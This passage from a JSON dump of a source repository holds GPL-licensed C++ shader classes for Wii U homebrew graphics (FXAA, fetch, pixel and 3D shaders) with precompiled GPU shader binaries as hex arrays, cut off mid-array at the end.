setAttributeBuffer(const u8 * colorAttr, const f32 * posVtxs_in = NULL, const u32 & vtxCount = 0) const\n    {\n        if(posVtxs_in && vtxCount) {\n            VertexShader::setAttributeBuffer(0, vtxCount * cuVertexAttrSize, cuVertexAttrSize, posVtxs_in);\n            VertexShader::setAttributeBuffer(1, vtxCount * cuColorAttrSize, cuColorAttrSize, colorAttr);\n        }\n        else {\n            VertexShader::setAttributeBuffer(0, cuPositionVtxsSize, cuVertexAttrSize, positionVtxs);\n            VertexShader::setAttributeBuffer(1, cuColorVtxsSize, cuColorAttrSize, colorAttr);\n        }\n    }\n\n    void setAngle(const float & val)\n    {\n        VertexShader::setUniformReg(angleLocation, 4, &val);\n    }\n    void setOffset(const glm::vec3 & vec)\n    {\n        VertexShader::setUniformReg(offsetLocation, 4, &vec[0]);\n    }\n    void setScale(const glm::vec3 & vec)\n    {\n        VertexShader::setUniformReg(scaleLocation, 4, &vec[0]);\n    }\n    void setColorIntensity(const glm::vec4 & vec)\n    {\n        PixelShader::setUniformReg(colorIntensityLocation, 4, &vec[0]);\n    }\n};\n\n#endif // __COLOR_SHADER_H_\n"
  },
  {
    "path": "src/video/shaders/FXAAShader.cpp",
    "content": "/****************************************************************************\n * Copyright (C) 2015 Dimok\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program.  If not, see <http://www.gnu.org/licenses/>.\n ****************************************************************************/\n#include <malloc.h>\n#include <string.h>\n#include \"FXAAShader.h\"\n\nstatic const u32 cpVertexShaderProgram[] =\n{\n    0x00000000,0x00008009,0x20000000,0x000004a0,\n    0x3ca00000,0x88060094,0x00400000,0xff0f2094,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0xfd001f80,0x900c2060,0x0000803f,0x00000000,\n    0xc1a229f5,0xd0eddc33,0x426618fd,0x8509cfe7\n};\n\nstatic const u32 cpVertexShaderRegs[] = {\n    0x00000102,0x00000000,0x00000000,0x00000001,\n    0xffffffff,0xffffffff,0xffffffff,0xffffffff,\n    0xffffffff,0xffffffff,0xffffffff,0xffffffff,\n    0xffffffff,0xffffffff,0x00000000,0xfffffffe,\n    0x00000001,0x00000000,0x000000ff,0x000000ff,\n    0x000000ff,0x000000ff,0x000000ff,0x000000ff,\n    0x000000ff,0x000000ff,0x000000ff,0x000000ff,\n    0x000000ff,0x000000ff,0x000000ff,0x000000ff,\n    0x000000ff,0x000000ff,0x000000ff,0x000000ff,\n    0x000000ff,0x000000ff,0x000000ff,0x000000ff,\n    0x000000ff,0x000000ff,0x000000ff,0x000000ff,\n    0x000000ff,0x000000ff,0x000000ff,0x000000ff,\n    0x000000ff,0x00000000,0x0000000e,0x00000010\n};\n\nstatic const u32 cpPixelShaderProgram[] =\n{\n    0x20000000,0x00003ca0,0xa0000000,0x000c8080,\n    0x30000000,0x000010a1,0xa8000000,0x0010c080,\n    0x75000000,0x000088a0,0x00800100,0x88062094,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00241f02,0x1000e00f,0x00241f00,0x1000e02f,\n    0x00201f02,0x00000040,0x00201f00,0x00000060,\n    0x00011f80,0x10332060,0xff000000,0xff102200,\n    0xfd001f00,0x900cc020,0xffc09f01,0x90004040,\n    0xffc01f01,0x90000060,0x00051f80,0x1033a040,\n    0x0000803f,0x00000000,0xffe00f00,0x90004000,\n    0xff008000,0xff102220,0xffe08f00,0x90000440,\n    0x010c0000,0x010c4660,0xff008080,0xff004220,\n    0x01a01f00,0x00280000,0x01a49f00,0x00280020,\n    0x01a81f01,0x00280040,0xfd0c1f00,0x1028e06f,\n    0x00208081,0x90002000,0x8716993e,0xa245163f,\n    0xd578e93d,0x00000080,0x03a01f00,0x00280000,\n    0x03a49f00,0x00280020,0x03a81f01,0x1028e04f,\n    0xfd0c1f00,0x00280060,0x00a40081,0x90002020,\n    0x8716993e,0xa245163f,0xd578e93d,0x00000080,\n    0x04a01f00,0x00280000,0x04a49f00,0x1028a02f,\n    0x04a81f01,0x00280040,0xfd0c1f00,0x00280060,\n    0x7fcc1f80,0x1000c02f,0x8716993e,0xa245163f,\n    0xd578e93d,0x00000080,0x02a01f00,0x1028e00f,\n    0x02a49f00,0x00280020,0x02a81f01,0x00280040,\n    0xfd0c1f00,0x00280060,0x7fcc1f80,0x1000e02f,\n    0x8716993e,0xa245163f,0xd578e93d,0x00000080,\n    0x7dc41f00,0x00020000,0x7fec0f01,0x00020020,\n    0x7fc81f00,0x00000040,0x7dc41f00,0x00000060,\n    0x7fec0f81,0x9001802f,0xfef88f00,0x1000e00f,\n    0xfedc8f00,0x00000420,0x7de40f00,0x80010040,\n    0x7ec49f01,0x00001060,0xfec41f80,0x10024060,\n    0xfed49f00,0x80020000,0xfe141f00,0x900c802f,\n    0xfeac1f00,0x80000040,0xfec01f02,0x80020060,\n    0x7cc41f81,0x90010060,0x0000003d,0x00000000,\n    0xfd001f00,0x900c6000,0xfea89f00,0x80010020,\n    0xfec09f81,0x00020040,0x0000803f,0x0000003e,\n    0xfec41f81,0x00000020,0xfe041f80,0x00330000,\n    0x7fe01f00,0x80000040,0x7ce41f80,0x80000060,\n    0xfea81f00,0x80010000,0xfeac1f80,0x80010020,\n    0x000000c1,0x00000000,0xfea01f00,0x00020040,\n    0xfea41f80,0x00020060,0x00000041,0x00000000,\n    0x05c81f01,0x9000e00f,0x01cc9f81,0x9000e06f,\n    0xfeac1f00,0x01004200,0xfea01f00,0x01044220,\n    0xfeac9f00,0x01002240,0xfea09f00,0x01042260,\n    0xfe8c1f80,0x01008600,0xacaa2a3e,0xaaaa2abe,\n    0x7f9c1f00,0x0100a200,0x7f801f00,0x01048220,\n    0x7f901f80,0x0104a240,0x02080001,0x7000a00f,\n    0x02000000,0x7000c04f,0x02048000,0x7000e06f,\n    0x01a81f80,0x9000e00f,0xd578e93d,0x00000000,\n    0x04a80001,0x1000c00f,0x04a48000,0x00000020,\n    0x04a00000,0x00000040,0xfe081f00,0xe00c0060,\n    0xfe0c1f80,0xe00c0000,0x01a41f00,0x7f00620f,\n    0xfea89f00,0xfe0c822f,0xfea49f00,0xff00a24f,\n    0x7d001f80,0xe00c0060,0xa245163f,0x0000803e,\n    0x7ea01f00,0xfe0ce20f,0x01a09f80,0xfe006a4f,\n    0x0000803e,0x8716993e,0xfe088001,0x9001c00f,\n    0xfe488001,0x1002e44f,0xfea01f80,0x80000000,\n    0xd578e93d,0x00000000,0x7ca41f00,0x00280000,\n    0x7da89f00,0x00280020,0xff201f00,0x00280040,\n    0xfd081f80,0x00280060,0x8716993e,0xa245163f,\n    0x00000080,0x00000000,0x7fc81f00,0x80060000,\n    0xfec00f80,0x80060060,0xfec09f81,0xfb80634f,\n    0xfe888f00,0x7e886300,0xfea80f01,0x7f8c6320,\n    0xfee80f00,0x7d806340,0xfe680080,0x06846f60,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x10000100,0x01101df0,0x00008010,0xecdfea0d,\n    0x10000200,0x03101df0,0x00002050,0xecdfea0d,\n    0x10000000,0x04101df0,0x00003071,0xecdfea0d,\n    0x10000200,0x02101df0,0x0000b070,0xecdfea0d,\n    0x10000200,0x02101df0,0x00008010,0xecdfea0d,\n    0x10000100,0x00101df0,0x0000a051,0xecdfea0d,\n    0x10000400,0x04101df0,0x00008010,0xecdfea0d,\n    0x10000500,0x05101df0,0x00000011,0xecdfea0d,\n    0x10000100,0x01101df0,0x00008010,0xecdfea0d,\n    0xfe2e963a,0x0269a9a3,0x38f88096,0x400cf48b\n};\nstatic const u32 cpPixelShaderRegs[] = {\n    0x00000007,0x00000002,0x04000101,0x00000000,\n    0x00000001,0x00000100,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x0000000f,0x00000001,0x00000010,\n    0x00000000\n};\n\nFXAAShader * FXAAShader::shaderInstance = NULL;\n\nFXAAShader::FXAAShader()\n    : vertexShader(cuAttributeCount)\n{\n    //! create pixel shader\n    pixelShader.setProgram(cpPixelShaderProgram, sizeof(cpPixelShaderProgram), cpPixelShaderRegs, sizeof(cpPixelShaderRegs));\n\n    resolutionLocation = 0;\n    pixelShader.addUniformVar((GX2UniformVar){ \"unf_resolution\", GX2_VAR_TYPE_VEC2, 1, resolutionLocation, 0xffffffff });\n\n    samplerLocation = 0;\n    pixelShader.addSamplerVar((GX2SamplerVar){ \"sampl_texture\", GX2_SAMPLER_TYPE_2D, samplerLocation });\n\n    //! create vertex shader\n    vertexShader.setProgram(cpVertexShaderProgram, sizeof(cpVertexShaderProgram), cpVertexShaderRegs, sizeof(cpVertexShaderRegs));\n\n    positionLocation = 0;\n    texCoordLocation = 1;\n    vertexShader.addAttribVar((GX2AttribVar){ \"attr_position\", GX2_VAR_TYPE_VEC3, 0, positionLocation });\n    vertexShader.addAttribVar((GX2AttribVar){ \"attr_texture_coord\", GX2_VAR_TYPE_VEC2, 0, texCoordLocation });\n\n    //! setup attribute streams\n    GX2InitAttribStream(vertexShader.getAttributeBuffer(0), positionLocation, 0, 0, GX2_ATTRIB_FORMAT_32_32_32_FLOAT);\n    GX2InitAttribStream(vertexShader.getAttributeBuffer(1), texCoordLocation, 1, 0, GX2_ATTRIB_FORMAT_32_32_FLOAT);\n\n    //! create fetch shader\n    fetchShader = new FetchShader(vertexShader.getAttributeBuffer(), vertexShader.getAttributesCount());\n\n    //! model vertex has to be align and cannot be in unknown regions for GX2 like 0xBCAE1000\n    posVtxs = (f32*)memalign(GX2_VERTEX_BUFFER_ALIGNMENT, ciPositionVtxsSize);\n    texCoords = (f32*)memalign(GX2_VERTEX_BUFFER_ALIGNMENT, ciTexCoordsVtxsSize);\n\n    //! position vertex structure and texture coordinate vertex structure\n    int i = 0;\n    posVtxs[i++] = -1.0f; posVtxs[i++] = -1.0f; posVtxs[i++] = 0.0f;\n    posVtxs[i++] =  1.0f; posVtxs[i++] = -1.0f; posVtxs[i++] = 0.0f;\n    posVtxs[i++] =  1.0f; posVtxs[i++] =  1.0f; posVtxs[i++] = 0.0f;\n    posVtxs[i++] = -1.0f; posVtxs[i++] =  1.0f; posVtxs[i++] = 0.0f;\n    GX2Invalidate(GX2_INVALIDATE_CPU_ATTRIB_BUFFER, posVtxs, ciPositionVtxsSize);\n\n    i = 0;\n    texCoords[i++] = 0.0f; texCoords[i++] = 1.0f;\n    texCoords[i++] = 1.0f; texCoords[i++] = 1.0f;\n    texCoords[i++] = 1.0f; texCoords[i++] = 0.0f;\n    texCoords[i++] = 0.0f; texCoords[i++] = 0.0f;\n    GX2Invalidate(GX2_INVALIDATE_CPU_ATTRIB_BUFFER, texCoords, ciTexCoordsVtxsSize);\n}\n\nFXAAShader::~FXAAShader()\n{\n    if(posVtxs)\n    {\n        free(posVtxs);\n        posVtxs = NULL;\n    }\n    if(texCoords)\n    {\n        free(texCoords);\n        texCoords = NULL;\n    }\n\n    delete fetchShader;\n    fetchShader = NULL;\n}\n"
  },
  {
    "path": "src/video/shaders/FXAAShader.h",
    "content": "/****************************************************************************\n * Copyright (C) 2015 Dimok\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program.  If not, see <http://www.gnu.org/licenses/>.\n ****************************************************************************/\n#ifndef __FXAA_SHADER_H_\n#define __FXAA_SHADER_H_\n\n#include \"VertexShader.h\"\n#include \"PixelShader.h\"\n#include \"FetchShader.h\"\n\nclass FXAAShader : public Shader\n{\npublic:\n    static FXAAShader *instance() {\n        if(!shaderInstance) {\n            shaderInstance = new FXAAShader();\n        }\n        return shaderInstance;\n    }\n    static void destroyInstance() {\n        if(shaderInstance) {\n            delete shaderInstance;\n            shaderInstance = NULL;\n        }\n    }\n\n    void setShaders(void) const\n    {\n        fetchShader->setShader();\n        vertexShader.setShader();\n        pixelShader.setShader();\n    }\n\n    void setAttributeBuffer() const\n    {\n        VertexShader::setAttributeBuffer(0, ciPositionVtxsSize, cuVertexAttrSize, posVtxs);\n        VertexShader::setAttributeBuffer(1, ciTexCoordsVtxsSize, cuTexCoordAttrSize, texCoords);\n    }\n\n    void setResolution(const glm::vec2 & vec)\n    {\n        PixelShader::setUniformReg(resolutionLocation, 4, &vec[0]);\n    }\n\n    void setTextureAndSampler(const GX2Texture *texture, const GX2Sampler *sampler) const {\n        GX2SetPixelTexture(texture, samplerLocation);\n        GX2SetPixelSampler(sampler, samplerLocation);\n    }\n\nprivate:\n    FXAAShader();\n    virtual ~FXAAShader();\n\n    static const u32 cuAttributeCount = 2;\n    static const u32 ciPositionVtxsSize = 4 * cuVertexAttrSize;\n    static const u32 ciTexCoordsVtxsSize = 4 * cuTexCoordAttrSize;\n\n    static FXAAShader *shaderInstance;\n\n    FetchShader *fetchShader;\n    VertexShader vertexShader;\n    PixelShader pixelShader;\n\n    f32 *posVtxs;\n    f32 *texCoords;\n\n    u32 samplerLocation;\n    u32 positionLocation;\n    u32 texCoordLocation;\n    u32 resolutionLocation;\n};\n\n#endif // __FXAA_SHADER_H_\n"
  },
  {
    "path": "src/video/shaders/FetchShader.h",
    "content": "/****************************************************************************\n * Copyright (C) 2015 Dimok\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program.  If not, see <http://www.gnu.org/licenses/>.\n ****************************************************************************/\n#ifndef FETCH_SHADER_H\n#define FETCH_SHADER_H\n\n#include \"Shader.h\"\n\nclass FetchShader : public Shader\n{\npublic:\n    FetchShader(GX2AttribStream * attributes, u32 attrCount, s32 type = GX2_FETCH_SHADER_TESSELATION_NONE, s32 tess = GX2_TESSELLATION_MODE_DISCRETE)\n        : fetchShader(NULL)\n        , fetchShaderProgramm(NULL)\n    {\n        u32 shaderSize = GX2CalcFetchShaderSizeEx(attrCount, type, tess);\n        fetchShaderProgramm = memalign(GX2_SHADER_ALIGNMENT, shaderSize);\n        if(fetchShaderProgramm)\n        {\n            fetchShader = new GX2FetchShader;\n            GX2InitFetchShaderEx(fetchShader, fetchShaderProgramm, attrCount, attributes, type, tess);\n            GX2Invalidate(GX2_INVALIDATE_CPU_SHADER, fetchShaderProgramm, shaderSize);\n        }\n    }\n    virtual ~FetchShader() {\n        if(fetchShaderProgramm)\n            free(fetchShaderProgramm);\n        if(fetchShader)\n            delete fetchShader;\n    }\n\n    GX2FetchShader *getFetchShader() const {\n        return fetchShader;\n    }\n\n    void setShader(void) const {\n        GX2SetFetchShader(fetchShader);\n    }\n\nprotected:\n    GX2FetchShader *fetchShader;\n    void *fetchShaderProgramm;\n};\n\n#endif // FETCH_SHADER_H\n"
  },
  {
    "path": "src/video/shaders/PixelShader.h",
    "content": "/****************************************************************************\n * Copyright (C) 2015 Dimok\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program.  If not, see <http://www.gnu.org/licenses/>.\n ****************************************************************************/\n#ifndef PIXEL_SHADER_H\n#define PIXEL_SHADER_H\n\n#include \"Shader.h\"\n\nclass PixelShader : public Shader\n{\npublic:\n    PixelShader()\n        : pixelShader((GX2PixelShader*) memalign(0x40, sizeof(GX2PixelShader)))\n    {\n        if(pixelShader)\n        {\n            memset(pixelShader, 0, sizeof(GX2PixelShader));\n            pixelShader->shader_mode = GX2_SHADER_MODE_UNIFORM_REGISTER;\n        }\n    }\n    virtual ~PixelShader()\n    {\n        if(pixelShader)\n        {\n            if(pixelShader->shader_data)\n                free(pixelShader->shader_data);\n\n            for(u32 i = 0; i < pixelShader->uniform_blocks_count; i++)\n                free((void*)pixelShader->uniform_block[i].name);\n\n            if(pixelShader->uniform_block)\n                free((void*)pixelShader->uniform_block);\n\n            for(u32 i = 0; i < pixelShader->uniform_vars_count; i++)\n                free((void*)pixelShader->uniform_var[i].name);\n\n            if(pixelShader->uniform_var)\n                free((void*)pixelShader->uniform_var);\n\n            if(pixelShader->initial_value)\n                free((void*)pixelShader->initial_value);\n\n            for(u32 i = 0; i < pixelShader->sampler_vars_count; i++)\n                free((void*)pixelShader->sampler_var[i].name);\n\n            if(pixelShader->sampler_var)\n                free((void*)pixelShader->sampler_var);\n\n            if(pixelShader->loops_data)\n                free((void*)pixelShader->loops_data);\n\n            free(pixelShader);\n        }\n    }\n\n    void setProgram(const u32 * program, const u32 & programSize, const u32 * regs, const u32 & regsSize)\n    {\n        if(!pixelShader)\n            return;\n\n        //! this must be moved into an area where the graphic engine has access to and must be aligned to 0x100\n        pixelShader->shader_size = programSize;\n        pixelShader->shader_data = memalign(GX2_SHADER_ALIGNMENT, pixelShader->shader_size);\n        if(pixelShader->shader_data)\n        {\n            memcpy(pixelShader->shader_data, program, pixelShader->shader_size);\n            GX2Invalidate(GX2_INVALIDATE_CPU_SHADER, pixelShader->shader_data, pixelShader->shader_size);\n        }\n\n        memcpy(pixelShader->regs, regs, regsSize);\n    }\n\n    void addUniformVar(const GX2UniformVar & var)\n    {\n        if(!pixelShader)\n            return;\n\n        u32 idx = pixelShader->uniform_vars_count;\n\n        GX2UniformVar* newVar = (GX2UniformVar*) malloc((pixelShader->uniform_vars_count + 1) * sizeof(GX2UniformVar));\n        if(newVar)\n        {\n            if(pixelShader->uniform_var)\n            {\n                memcpy(newVar, pixelShader->uniform_var, pixelShader->uniform_vars_count * sizeof(GX2UniformVar));\n                free(pixelShader->uniform_var);\n            }\n            pixelShader->uniform_var = newVar;\n\n            memcpy(pixelShader->uniform_var + idx, &var, sizeof(GX2UniformVar));\n            pixelShader->uniform_var[idx].name = (char*) malloc(strlen(var.name) + 1);\n            strcpy((char*)pixelShader->uniform_var[idx].name, var.name);\n\n            pixelShader->uniform_vars_count++;\n        }\n    }\n\n    void addSamplerVar(const GX2SamplerVar & var)\n    {\n        if(!pixelShader)\n            return;\n\n        u32 idx = pixelShader->sampler_vars_count;\n\n        GX2SamplerVar* newVar = (GX2SamplerVar*) malloc((pixelShader->sampler_vars_count + 1) * sizeof(GX2SamplerVar));\n        if(newVar)\n        {\n            if(pixelShader->sampler_var)\n            {\n                memcpy(newVar, pixelShader->sampler_var, pixelShader->sampler_vars_count * sizeof(GX2SamplerVar));\n                free(pixelShader->sampler_var);\n            }\n            pixelShader->sampler_var = newVar;\n\n            memcpy(pixelShader->sampler_var + idx, &var, sizeof(GX2SamplerVar));\n            pixelShader->sampler_var[idx].name = (char*) malloc(strlen(var.name) + 1);\n            strcpy((char*)pixelShader->sampler_var[idx].name, var.name);\n\n            pixelShader->sampler_vars_count++;\n        }\n    }\n    GX2PixelShader * getPixelShader() const {\n        return pixelShader;\n    }\n\n    void setShader(void) const {\n        GX2SetPixelShader(pixelShader);\n    }\n\n    static inline void setUniformReg(u32 location, u32 size, const void * reg) {\n        GX2SetPixelUniformReg(location, size, reg);\n    }\nprotected:\n    GX2PixelShader *pixelShader;\n};\n\n#endif // PIXEL_SHADER_H\n"
  },
  {
    "path": "src/video/shaders/Shader.h",
    "content": "/****************************************************************************\n * Copyright (C) 2015 Dimok\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program.  If not, see <http://www.gnu.org/licenses/>.\n ****************************************************************************/\n#ifndef SHADER_H_\n#define SHADER_H_\n\n#include \"glm/glm.hpp\"\n#include \"glm/gtc/matrix_transform.hpp\"\n#include \"dynamic_libs/gx2_functions.h\"\n#include \"utils/utils.h\"\n\nclass Shader\n{\nprotected:\n    Shader() {}\n    virtual ~Shader() {}\npublic:\n    static const u16 cuVertexAttrSize = sizeof(f32) * 3;\n    static const u16 cuTexCoordAttrSize = sizeof(f32) * 2;\n    static const u16 cuColorAttrSize = sizeof(u8) * 4;\n\n    static void setLineWidth(const f32 & width) {\n        GX2SetLineWidth(width);\n    }\n\n    static void draw(s32 primitive = GX2_PRIMITIVE_QUADS, u32 vtxCount = 4)\n    {\n        switch(primitive)\n        {\n            default:\n            case GX2_PRIMITIVE_QUADS:\n            {\n                GX2DrawEx(GX2_PRIMITIVE_QUADS, vtxCount, 0, 1);\n                break;\n            }\n            case GX2_PRIMITIVE_TRIANGLES:\n            {\n                GX2DrawEx(GX2_PRIMITIVE_TRIANGLES, vtxCount, 0, 1);\n                break;\n            }\n            case GX2_PRIMITIVE_TRIANGLE_FAN:\n            {\n                GX2DrawEx(GX2_PRIMITIVE_TRIANGLE_FAN, vtxCount, 0, 1);\n                break;\n            }\n            case GX2_PRIMITIVE_LINES:\n            {\n                GX2DrawEx(GX2_PRIMITIVE_LINES, vtxCount, 0, 1);\n                break;\n            }\n            case GX2_PRIMITIVE_LINE_STRIP:\n            {\n                GX2DrawEx(GX2_PRIMITIVE_LINE_STRIP, vtxCount, 0, 1);\n                break;\n            }\n            //! TODO: add other primitives later\n        };\n    }\n};\n\n#endif // SHADER_H_\n"
  },
  {
    "path": "src/video/shaders/Shader3D.cpp",
    "content": "/****************************************************************************\n * Copyright (C) 2015 Dimok\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program.  If not, see <http://www.gnu.org/licenses/>.\n ****************************************************************************/\n#include <malloc.h>\n#include <string.h>\n#include \"Shader3D.h\"\n\nstatic const u32 cpVertexShaderProgram[] =\n{\n    0x00000000,0x00008009,0x20000000,0x0000e4a1,\n    0x00c00100,0x88048093,0x01c00300,0x98060014,\n    0x9a000000,0x000058a0,0x3c200200,0x88062094,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x0765a101,0x9000e00f,0x0761a101,0x9000e02f,\n    0x01081f00,0x900ce040,0x01041f00,0x900ce060,\n    0x01001f80,0x900ce000,0x02001f00,0x900c6000,\n    0x02041f00,0x900c6020,0x076da101,0x9000e04f,\n    0x0769a181,0x9000e06f,0x0745a101,0x9000c00f,\n    0x0741a181,0x9000c02f,0x074da101,0x9000c04f,\n    0x0749a181,0x9000c06f,0x0bc9a000,0x7f00e20f,\n    0x0bc92080,0x7f04e22f,0x0bc9a001,0x7f08e24f,\n    0x0bc92081,0x7f0ce26f,0x0725a101,0x9000a00f,\n    0x0721a181,0x9000a02f,0x072da101,0x9000a04f,\n    0x0729a181,0x9000a06f,0x0ac9a000,0x7e00c20f,\n    0x0ac92080,0x7e04c22f,0x0ac9a001,0x7e08c24f,\n    0x0ac92081,0x7e0cc26f,0x0ba5a000,0x7f00e20f,\n    0x0ba52080,0x7f04e22f,0x0ba5a001,0x7f08e24f,\n    0x0ba52081,0x7f0ce26f,0x08eda000,0x9000800f,\n    0x08ed2080,0x9000802f,0x08eda001,0x9000804f,\n    0x08ed2081,0x9000806f,0x09c9a000,0x7d00a20f,\n    0x09c92080,0x7d04a22f,0x09c9a001,0x7d08a24f,\n    0x09c92081,0x7d0ca26f,0x0aa5a000,0x7e00c20f,\n    0x0aa52080,0x7e04c22f,0x0aa5a001,0x7e08c24f,\n    0x0aa52081,0x7e0cc26f,0x0b81a000,0x7f004200,\n    0x0b812080,0x7f044220,0x0b81a001,0x7f082240,\n    0x0b812081,0x7f0c0260,0x08c9a000,0x7c00820f,\n    0x08c92080,0x7c04822f,0x08c9a001,0x7c08824f,\n    0x08c92081,0x7c0c826f,0x09a5a000,0x7d00a20f,\n    0x09a52080,0x7d04a22f,0x09a5a001,0x7d08a24f,\n    0x09a52081,0x7d0ca26f,0x0a81a000,0x7e000200,\n    0x0a812080,0x7e040220,0x0a81a001,0x7e080240,\n    0x0a812081,0x7e0c2260,0x0240a001,0x9000c00f,\n    0x0244a001,0x9000c02f,0x0148a001,0x9000c04f,\n    0x004ca001,0x9000c06f,0x0264a081,0x9000e02f,\n    0x0260a001,0x9000e00f,0x0224a001,0x90002020,\n    0x0168a001,0x9000e04f,0x006ca001,0x9000e06f,\n    0x0220a081,0x90002000,0x08a5a000,0x7c00820f,\n    0x08a52080,0x7c04822f,0x08a5a001,0x7c08824f,\n    0x08a52081,0x7c0c826f,0x0981a000,0x7d008200,\n    0x09812080,0x7d048220,0x0981a001,0x7d084240,\n    0x09812081,0x7d0c4260,0x02090000,0x7e00c20f,\n    0x02098000,0x7e04c22f,0x0128a001,0x9000a04f,\n    0x002ca001,0x9000c06f,0x02298081,0x7e0caa6f,\n    0x03090000,0x7f00e20f,0x03098000,0x7f04e22f,\n    0x02090001,0x7e08f64f,0x03298001,0x7f0ce26f,\n    0x03090081,0x7f08ca4f,0x0881a000,0x7c00c200,\n    0x08812080,0x7c04e220,0x0881a001,0x7c08a240,\n    0x08812081,0x7c0c8260,0x0200a001,0x9000800f,\n    0x0204a001,0x9000802f,0x0108a001,0x9000804f,\n    0x000ca001,0x9000806f,0x01098080,0x0104aa2f,\n    0x01090000,0x0100a20f,0x02858000,0x7e04c22f,\n    0x01090001,0x7d08a24f,0x01298081,0x7e0cc26f,\n    0x02850000,0x7e00f60f,0x03858000,0x7f04622f,\n    0x02450001,0x7f08e24f,0x02458001,0x7d0ca26f,\n    0x03850080,0x7f00ca0f,0x00090000,0x7c004200,\n    0x00098000,0x7c04b220,0x03450001,0x7e08c24f,\n    0x03458001,0x7f0ce26f,0x03e18080,0xfe042620,\n    0x01850000,0x7d00a200,0x01858000,0x7d04622f,\n    0x00090001,0x7c086240,0x00298081,0x7c0c0260,\n    0x02c10000,0x7f000200,0x02e18000,0x7e040620,\n    0x01450001,0x7d088240,0x01458001,0x7e0c6260,\n    0x01e18080,0xfe04c620,0x03c10000,0x7e002200,\n    0x03818001,0x7f0c4220,0x02a10001,0x7f081640,\n    